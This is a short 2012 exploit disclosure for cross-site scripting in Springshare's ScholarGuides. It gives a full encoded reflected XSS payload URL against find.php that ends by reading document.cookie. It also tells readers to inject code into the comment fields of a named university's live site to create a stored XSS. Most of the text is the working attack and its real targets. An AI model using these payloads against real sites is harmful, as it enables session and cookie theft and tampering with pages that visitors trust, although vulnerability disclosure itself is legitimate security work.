ScholarGuides Springshare Cross Site Scripting

`# Exploit Title: ScholarGuides Springshare Cross Site Scripting  
# Date: 6.02.2012  
# Author: Sony  
# Software Link: http://www.springshare.com/  
# Web Browser : Mozilla Firefox  
# Blog : http://st2tea.blogspot.com  
# PoC:  
http://st2tea.blogspot.com/2012/02/scholarguides-springshare-cross-site.html  
..................................................................  
  
Well, we have xss in the find.php:  
  
Our xss code:  
  
http://codepad.org/LqL68vIQ  
  
Demo:  
  
http://demo.scholarguides.com/find.php?f=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E  
  
http://2.bp.blogspot.com/-5B5VIiOdNn8/TzAZjj3FwJI/AAAAAAAAAbU/fJsY95yothE/s1600/deee.JPG  
  
Also we have frame in the comments or what you want:  
  
Put code in all fields in comments and save this.  
  
http://scholarguides.unm.edu/content.php?pid=46346&sid=342120 (demo)  
  
http://2.bp.blogspot.com/-tK7ZXx87Jj4/TzAZvm0V2zI/AAAAAAAAAbg/li0Vo_AqaII/s1600/bugss.JPG  
  
..................................................................  
  
InSecurity.Ro  
  
Because we care, we're security aware!  
`